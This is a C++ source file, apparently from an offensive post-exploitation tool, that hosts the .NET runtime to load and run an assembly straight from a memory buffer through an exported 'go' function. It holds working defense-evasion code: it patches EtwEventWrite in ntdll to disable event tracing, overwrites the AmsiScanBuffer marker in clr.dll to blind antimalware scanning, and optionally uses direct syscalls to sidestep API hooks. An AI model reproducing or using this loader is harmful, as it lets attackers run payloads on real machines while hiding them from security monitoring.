#include "DotnetExec.hpp" #ifdef _WIN32 #ifdef DW_ENABLE_DOTNET_SYSCALLS #include "syscall.hpp" #endif #include #include #include #include #include #include #include #pragma comment(lib, "Shlwapi.lib") using namespace mscorlib; typedef HRESULT(WINAPI *funcCLRCreateInstance)(REFCLSID clsid, REFIID riid, LPVOID* ppInterface); typedef HRESULT(__stdcall* CLRIdentityManagerProc)(REFIID, IUnknown**); static const GUID xCLSID_CLRMetaHost = { 0x9280188d, 0x0e8e, 0x4867, {0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde} }; static const GUID xCLSID_ICLRRuntimeHost = { 0x90F1A06E, 0x7712, 0x4762, {0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02} }; static const GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} }; #define ERROR_INIT_CLR_1 1 #define ERROR_INIT_CLR_2 2 #define ERROR_INIT_CLR_3 3 #define ERROR_INIT_CLR_4 4 #define ERROR_INIT_CLR_5 5 #define ERROR_INIT_CLR_6 6 #define ERROR_INIT_CLR_7 7 #define ERROR_INIT_CLR_8 8 #define ERROR_LOAD_ASSEMLBY_1 11 #define ERROR_LOAD_ASSEMLBY_2 12 #define ERROR_LOAD_ASSEMLBY_3 13 #define ERROR_LOAD_ASSEMLBY_4 14 #define ERROR_LOAD_ASSEMLBY_5 15 #define ERROR_INVOKE_METHOD_11 31 #define ERROR_INVOKE_METHOD_12 32 #define ERROR_INVOKE_METHOD_13 33 #define ERROR_INVOKE_METHOD_14 34 #define ERROR_INVOKE_METHOD_15 35 #ifdef DW_GOODCLR_TRACE #define DW_TRACE(fmt, ...) do { printf("[goodClr] " fmt "\n", __VA_ARGS__); fflush(stdout); } while (0) #else #define DW_TRACE(fmt, ...) do { } while (0) #endif struct ClrContext { ICLRMetaHost* metaHost = nullptr; ICLRRuntimeInfo* runtimeInfo = nullptr; ICLRRuntimeHost* clrRuntimeHost = nullptr; MyHostControl* hostControl = nullptr; ICorRuntimeHost* corHost = nullptr; IUnknownPtr appDomainThunk = nullptr; _AppDomainPtr defaultAppDomain = nullptr; TargetAssembly* targetAssembly = nullptr; void Cleanup() { if (defaultAppDomain) defaultAppDomain.Release(); if (appDomainThunk) appDomainThunk.Release(); if (corHost) { corHost->Release(); corHost = nullptr; } if (clrRuntimeHost) { clrRuntimeHost->Release(); clrRuntimeHost = nullptr; } if (hostControl) { hostControl->Release(); hostControl = nullptr; } if (runtimeInfo) { runtimeInfo->Release(); runtimeInfo = nullptr; } if (metaHost) { metaHost->Release(); metaHost = nullptr; } if (targetAssembly) { delete targetAssembly; targetAssembly = nullptr; } } }; static bool ProtectMemory(void* address, SIZE_T size, DWORD newProtect, DWORD* oldProtect) { #ifdef DW_ENABLE_DOTNET_SYSCALLS void* protectBase = address; SIZE_T protectSize = size; NTSTATUS status = Sw3NtProtectVirtualMemory_(GetCurrentProcess(), &protectBase, &protectSize, newProtect, oldProtect); DW_TRACE("ProtectMemory syscall status=0x%08lX base=%p size=%llu", static_cast(status), protectBase, static_cast(protectSize)); return status >= 0; #else return ::VirtualProtect(address, size, newProtect, oldProtect) != FALSE; #endif } static int PatchEtw() { #ifndef DW_ENABLE_DOTNET_ETW_PATCH return 0; #else DW_TRACE("%s", "PatchEtw start"); HMODULE ntdll = GetModuleHandleA("ntdll.dll"); if (!ntdll) { DW_TRACE("%s", "PatchEtw failed: ntdll.dll not loaded"); return -1; } void* eventWrite = reinterpret_cast(GetProcAddress(ntdll, "EtwEventWrite")); if (!eventWrite) { DW_TRACE("%s", "PatchEtw failed: EtwEventWrite not found"); return -1; } DW_TRACE("PatchEtw EtwEventWrite=%p", eventWrite); HANDLE process = GetCurrentProcess(); DWORD oldProtect = 0; SIZE_T protectSize = 1024; bool protectOk = ProtectMemory(eventWrite, protectSize, PAGE_READWRITE, &oldProtect); DW_TRACE("PatchEtw protect rw ok=%d old=0x%08lX", protectOk ? 1 : 0, static_cast(oldProtect)); if (!protectOk) return -1; #if defined(_M_ARM64) || defined(__aarch64__) char patch[] = "\x00\x00\x80\x52\xc0\x03\x5f\xd6"; // mov w0, #0; ret const int patchSize = 8; #elif defined(_WIN64) char patch[] = "\x48\x33\xc0\xc3"; // xor rax, rax; ret const int patchSize = 4; #else char patch[] = "\x33\xc0\xc2\x14\x00"; // xor eax, eax; ret 14 const int patchSize = 5; #endif WriteProcessMemory(process, eventWrite, patch, patchSize, nullptr); FlushInstructionCache(process, eventWrite, patchSize); DWORD unusedProtect = 0; protectOk = ProtectMemory(eventWrite, protectSize, oldProtect, &unusedProtect); DW_TRACE("PatchEtw restore ok=%d", protectOk ? 1 : 0); DW_TRACE("%s", "PatchEtw done"); return protectOk ? 0 : -1; #endif } static bool GetModuleRange(HMODULE moduleBase, BYTE** moduleStart, SIZE_T* moduleSize) { if (!moduleBase || !moduleStart || !moduleSize) return false; BYTE* base = reinterpret_cast(moduleBase); auto dos = reinterpret_cast(base); if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false; auto nt = reinterpret_cast(base + dos->e_lfanew); if (nt->Signature != IMAGE_NT_SIGNATURE) return false; *moduleStart = base; *moduleSize = nt->OptionalHeader.SizeOfImage; return true; } static BYTE* FindBytes(BYTE* start, SIZE_T size, const std::vector& pattern) { if (!start || size == 0 || pattern.empty() || pattern.size() > size) return nullptr; BYTE* end = start + size - pattern.size(); for (BYTE* p = start; p <= end; p++) { if (memcmp(p, pattern.data(), pattern.size()) == 0) return p; } return nullptr; } static bool IsReadablePage(DWORD protect) { if (protect & PAGE_GUARD) return false; if (protect & PAGE_NOACCESS) return false; DWORD baseProtect = protect & 0xff; switch (baseProtect) { case PAGE_READONLY: case PAGE_READWRITE: case PAGE_WRITECOPY: case PAGE_EXECUTE_READ: case PAGE_EXECUTE_READWRITE: case PAGE_EXECUTE_WRITECOPY: return true; default: return false; } } static BYTE* FindBytesInReadableMemory(BYTE* start, SIZE_T size, const std::vector& pattern) { if (!start || size == 0 || pattern.empty()) return nullptr; BYTE* moduleEnd = start + size; BYTE* current = start; while (current < moduleEnd) { MEMORY_BASIC_INFORMATION mbi{}; if (!VirtualQuery(current, &mbi, sizeof(mbi))) break; BYTE* regionBase = reinterpret_cast(mbi.BaseAddress); BYTE* regionEnd = regionBase + mbi.RegionSize; if (regionEnd > moduleEnd) regionEnd = moduleEnd; BYTE* scanStart = current; if (scanStart < regionBase) scanStart = regionBase; if (mbi.State == MEM_COMMIT && IsReadablePage(mbi.Protect) && scanStart < regionEnd) { BYTE* found = FindBytes(scanStart, static_cast(regionEnd - scanStart), pattern); if (found) return found; } current = regionEnd; } return nullptr; } static int PatchAmsiClr() { #ifndef DW_ENABLE_DOTNET_AMSI_PATCH return 0; #else DW_TRACE("%s", "PatchAmsiClr start"); HMODULE module = LoadLibraryA("clr.dll"); if (!module) { DW_TRACE("%s", "PatchAmsiClr failed: clr.dll not loaded"); return -1; } BYTE* moduleStart = nullptr; SIZE_T moduleSize = 0; if (!GetModuleRange(module, &moduleStart, &moduleSize)) { DW_TRACE("%s", "PatchAmsiClr failed: invalid clr.dll range"); return -1; } DW_TRACE("PatchAmsiClr clr range=%p size=%llu", moduleStart, static_cast(moduleSize)); const std::vector amsiScanBuffer = { 0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72 }; void* found = FindBytesInReadableMemory(moduleStart, moduleSize, amsiScanBuffer); if (!found) { DW_TRACE("%s", "PatchAmsiClr skipped: marker not found"); return -1; } DW_TRACE("PatchAmsiClr marker=%p", found); char patch[] = "AAAAAAAAAAAAAA"; HANDLE process = GetCurrentProcess(); DWORD oldProtect = 0; SIZE_T protectSize = 1024; bool protectOk = ProtectMemory(found, protectSize, PAGE_READWRITE, &oldProtect); DW_TRACE("PatchAmsiClr protect rw ok=%d old=0x%08lX", protectOk ? 1 : 0, static_cast(oldProtect)); if (!protectOk) return -1; WriteProcessMemory(process, found, patch, 14, nullptr); FlushInstructionCache(process, found, 14); DWORD unusedProtect = 0; protectOk = ProtectMemory(found, protectSize, oldProtect, &unusedProtect); DW_TRACE("PatchAmsiClr restore ok=%d", protectOk ? 1 : 0); DW_TRACE("%s", "PatchAmsiClr done"); return protectOk ? 0 : -1; #endif } static int InitClr(ClrContext& clr) { DW_TRACE("%s", "InitClr start"); int patchRet = PatchEtw(); DW_TRACE("InitClr PatchEtw ret=%d", patchRet); HMODULE mscoree = LoadLibraryA("mscoree.dll"); DW_TRACE("InitClr mscoree=%p", mscoree); if (!mscoree) return ERROR_INIT_CLR_1; auto clrCreateInstance = reinterpret_cast(GetProcAddress(mscoree, "CLRCreateInstance")); DW_TRACE("InitClr CLRCreateInstance=%p", clrCreateInstance); if (!clrCreateInstance) return ERROR_INIT_CLR_1; HRESULT hr = clrCreateInstance(xCLSID_CLRMetaHost, IID_PPV_ARGS(&clr.metaHost)); DW_TRACE("InitClr CLRCreateInstance hr=0x%08lX metaHost=%p", static_cast(hr), clr.metaHost); if (FAILED(hr)) return ERROR_INIT_CLR_1; hr = clr.metaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&clr.runtimeInfo)); DW_TRACE("InitClr GetRuntime hr=0x%08lX runtimeInfo=%p", static_cast(hr), clr.runtimeInfo); if (FAILED(hr)) return ERROR_INIT_CLR_2; BOOL loadable = FALSE; hr = clr.runtimeInfo->IsLoadable(&loadable); DW_TRACE("InitClr IsLoadable hr=0x%08lX loadable=%d", static_cast(hr), loadable); if (FAILED(hr) || !loadable) return ERROR_INIT_CLR_3; hr = clr.runtimeInfo->GetInterface(xCLSID_ICLRRuntimeHost, IID_PPV_ARGS(&clr.clrRuntimeHost)); DW_TRACE("InitClr GetInterface ICLRRuntimeHost hr=0x%08lX host=%p", static_cast(hr), clr.clrRuntimeHost); if (FAILED(hr)) return ERROR_INIT_CLR_4; clr.hostControl = new (std::nothrow) MyHostControl(); DW_TRACE("InitClr hostControl=%p", clr.hostControl); if (!clr.hostControl) return ERROR_INIT_CLR_4; hr = clr.clrRuntimeHost->SetHostControl(clr.hostControl); DW_TRACE("InitClr SetHostControl hr=0x%08lX", static_cast(hr)); if (FAILED(hr)) return ERROR_INIT_CLR_4; DW_TRACE("%s", "InitClr Start begin"); hr = clr.clrRuntimeHost->Start(); DW_TRACE("InitClr Start hr=0x%08lX", static_cast(hr)); if (FAILED(hr)) return ERROR_INIT_CLR_5; hr = clr.runtimeInfo->GetInterface(xCLSID_CorRuntimeHost, __uuidof(ICorRuntimeHost), reinterpret_cast(&clr.corHost)); DW_TRACE("InitClr GetInterface ICorRuntimeHost hr=0x%08lX corHost=%p", static_cast(hr), clr.corHost); if (FAILED(hr)) return ERROR_INIT_CLR_6; hr = clr.corHost->GetDefaultDomain(&clr.appDomainThunk); DW_TRACE("InitClr GetDefaultDomain hr=0x%08lX thunk=%p", static_cast(hr), static_cast(clr.appDomainThunk)); if (FAILED(hr)) return ERROR_INIT_CLR_7; hr = clr.appDomainThunk->QueryInterface(IID_PPV_ARGS(&clr.defaultAppDomain)); DW_TRACE("InitClr QueryInterface AppDomain hr=0x%08lX domain=%p", static_cast(hr), static_cast<_AppDomain*>(clr.defaultAppDomain)); if (FAILED(hr)) return ERROR_INIT_CLR_8; patchRet = PatchAmsiClr(); DW_TRACE("InitClr PatchAmsiClr ret=%d", patchRet); clr.targetAssembly = new (std::nothrow) TargetAssembly(); DW_TRACE("InitClr targetAssembly=%p", clr.targetAssembly); if (!clr.targetAssembly) return ERROR_INIT_CLR_8; clr.hostControl->setTargetAssembly(clr.targetAssembly); DW_TRACE("%s", "InitClr done"); return 0; } static int LoadManagedAssembly(ClrContext& clr, const std::string& data, _AssemblyPtr& assembly) { DW_TRACE("LoadManagedAssembly start size=%llu", static_cast(data.size())); CLRIdentityManagerProc identityManagerProc = nullptr; HRESULT hr = clr.runtimeInfo->GetProcAddress("GetCLRIdentityManager", reinterpret_cast(&identityManagerProc)); DW_TRACE("LoadManagedAssembly GetCLRIdentityManager hr=0x%08lX proc=%p", static_cast(hr), reinterpret_cast(identityManagerProc)); if (FAILED(hr) || !identityManagerProc) return ERROR_LOAD_ASSEMLBY_1; ICLRAssemblyIdentityManager* identityManager = nullptr; hr = identityManagerProc(__uuidof(ICLRAssemblyIdentityManager), reinterpret_cast(&identityManager)); DW_TRACE("LoadManagedAssembly identityManager hr=0x%08lX manager=%p", static_cast(hr), identityManager); if (FAILED(hr) || !identityManager) return ERROR_LOAD_ASSEMLBY_1; clr.hostControl->updateTargetAssembly(identityManager, data); LPWSTR identityBuffer = clr.hostControl->getAssemblyInfo(); DW_TRACE("LoadManagedAssembly identityBuffer=%p", identityBuffer); if (!identityBuffer) { identityManager->Release(); return ERROR_LOAD_ASSEMLBY_2; } BSTR assemblyName = SysAllocString(identityBuffer); if (!assemblyName) { identityManager->Release(); return ERROR_LOAD_ASSEMLBY_2; } hr = clr.defaultAppDomain->Load_2(assemblyName, &assembly); DW_TRACE("LoadManagedAssembly Load_2 hr=0x%08lX assembly=%p", static_cast(hr), static_cast<_Assembly*>(assembly)); SysFreeString(assemblyName); identityManager->Release(); if (FAILED(hr)) return ERROR_LOAD_ASSEMLBY_3; return 0; } static HRESULT PutBstrElement(SAFEARRAY* array, LONG index, const wchar_t* value) { BSTR item = SysAllocString(value); if (!item) return E_OUTOFMEMORY; HRESULT hr = SafeArrayPutElement(array, &index, item); SysFreeString(item); return hr; } static int InvokeEntryPoint(_AssemblyPtr& assembly, const std::wstring& argument) { DW_TRACE("InvokeEntryPoint start argc-string-len=%llu", static_cast(argument.size())); if (!assembly) return ERROR_INVOKE_METHOD_11; _MethodInfoPtr methodInfo; HRESULT hr = assembly->get_EntryPoint(&methodInfo); DW_TRACE("InvokeEntryPoint get_EntryPoint hr=0x%08lX method=%p", static_cast(hr), static_cast<_MethodInfo*>(methodInfo)); if (FAILED(hr) || methodInfo == nullptr) return ERROR_INVOKE_METHOD_12; SAFEARRAY* invokeArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1); if (!invokeArgs) return ERROR_INVOKE_METHOD_13; VARIANT stringArrayVariant; VariantInit(&stringArrayVariant); stringArrayVariant.vt = VT_ARRAY | VT_BSTR; LPWSTR* argv = nullptr; int argc = 0; if (!argument.empty()) argv = CommandLineToArgvW(argument.c_str(), &argc); if (argv && argc > 0) { stringArrayVariant.parray = SafeArrayCreateVector(VT_BSTR, 0, argc); if (!stringArrayVariant.parray) { LocalFree(argv); SafeArrayDestroy(invokeArgs); return ERROR_INVOKE_METHOD_13; } for (LONG i = 0; i < argc; i++) { hr = PutBstrElement(stringArrayVariant.parray, i, argv[i]); if (FAILED(hr)) { LocalFree(argv); VariantClear(&stringArrayVariant); SafeArrayDestroy(invokeArgs); return ERROR_INVOKE_METHOD_13; } } LocalFree(argv); } else { if (argv) LocalFree(argv); stringArrayVariant.parray = SafeArrayCreateVector(VT_BSTR, 0, 1); if (!stringArrayVariant.parray) { SafeArrayDestroy(invokeArgs); return ERROR_INVOKE_METHOD_13; } hr = PutBstrElement(stringArrayVariant.parray, 0, L""); if (FAILED(hr)) { VariantClear(&stringArrayVariant); SafeArrayDestroy(invokeArgs); return ERROR_INVOKE_METHOD_13; } } LONG argIndex = 0; hr = SafeArrayPutElement(invokeArgs, &argIndex, &stringArrayVariant); VariantClear(&stringArrayVariant); if (FAILED(hr)) { SafeArrayDestroy(invokeArgs); return ERROR_INVOKE_METHOD_13; } VARIANT returnValue; VariantInit(&returnValue); VARIANT thisObject; VariantInit(&thisObject); thisObject.vt = VT_NULL; try { DW_TRACE("%s", "InvokeEntryPoint Invoke_3 begin"); hr = methodInfo->Invoke_3(thisObject, invokeArgs, &returnValue); DW_TRACE("InvokeEntryPoint Invoke_3 hr=0x%08lX", static_cast(hr)); } catch (_com_error&) { SafeArrayDestroy(invokeArgs); VariantClear(&returnValue); VariantClear(&thisObject); return ERROR_INVOKE_METHOD_14; } catch (...) { SafeArrayDestroy(invokeArgs); VariantClear(&returnValue); VariantClear(&thisObject); return ERROR_INVOKE_METHOD_15; } SafeArrayDestroy(invokeArgs); VariantClear(&returnValue); VariantClear(&thisObject); if (FAILED(hr)) return ERROR_INVOKE_METHOD_13; return 0; } static int LoadAssemblyInternal(void* ptr, int size, char* arg) { DW_TRACE("LoadAssemblyInternal start ptr=%p size=%d arg=%p", ptr, size, arg); if (!ptr || size <= 0) return ERROR_LOAD_ASSEMLBY_2; std::string data(static_cast(ptr), static_cast(size)); std::wstring argument; if (arg) argument.assign(reinterpret_cast(arg)); DW_TRACE("LoadAssemblyInternal argument-len=%llu", static_cast(argument.size())); ClrContext clr; int ret = InitClr(clr); DW_TRACE("LoadAssemblyInternal InitClr ret=%d", ret); if (ret != 0) { clr.Cleanup(); return ret; } _AssemblyPtr assembly; ret = LoadManagedAssembly(clr, data, assembly); DW_TRACE("LoadAssemblyInternal LoadManagedAssembly ret=%d", ret); if (ret == 0) { ret = InvokeEntryPoint(assembly, argument); DW_TRACE("LoadAssemblyInternal InvokeEntryPoint ret=%d", ret); } if (assembly) assembly.Release(); clr.Cleanup(); DW_TRACE("LoadAssemblyInternal done ret=%d", ret); return ret; } extern "C" __declspec(dllexport) int go(void* data, int size, char* argument) { DW_TRACE("go data=%p size=%d argument=%p", data, size, argument); int ret = LoadAssemblyInternal(data, size, argument); DW_TRACE("go ret=%d", ret); return ret; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { (void)hinstDLL; (void)fdwReason; (void)lpReserved; return TRUE; } #endif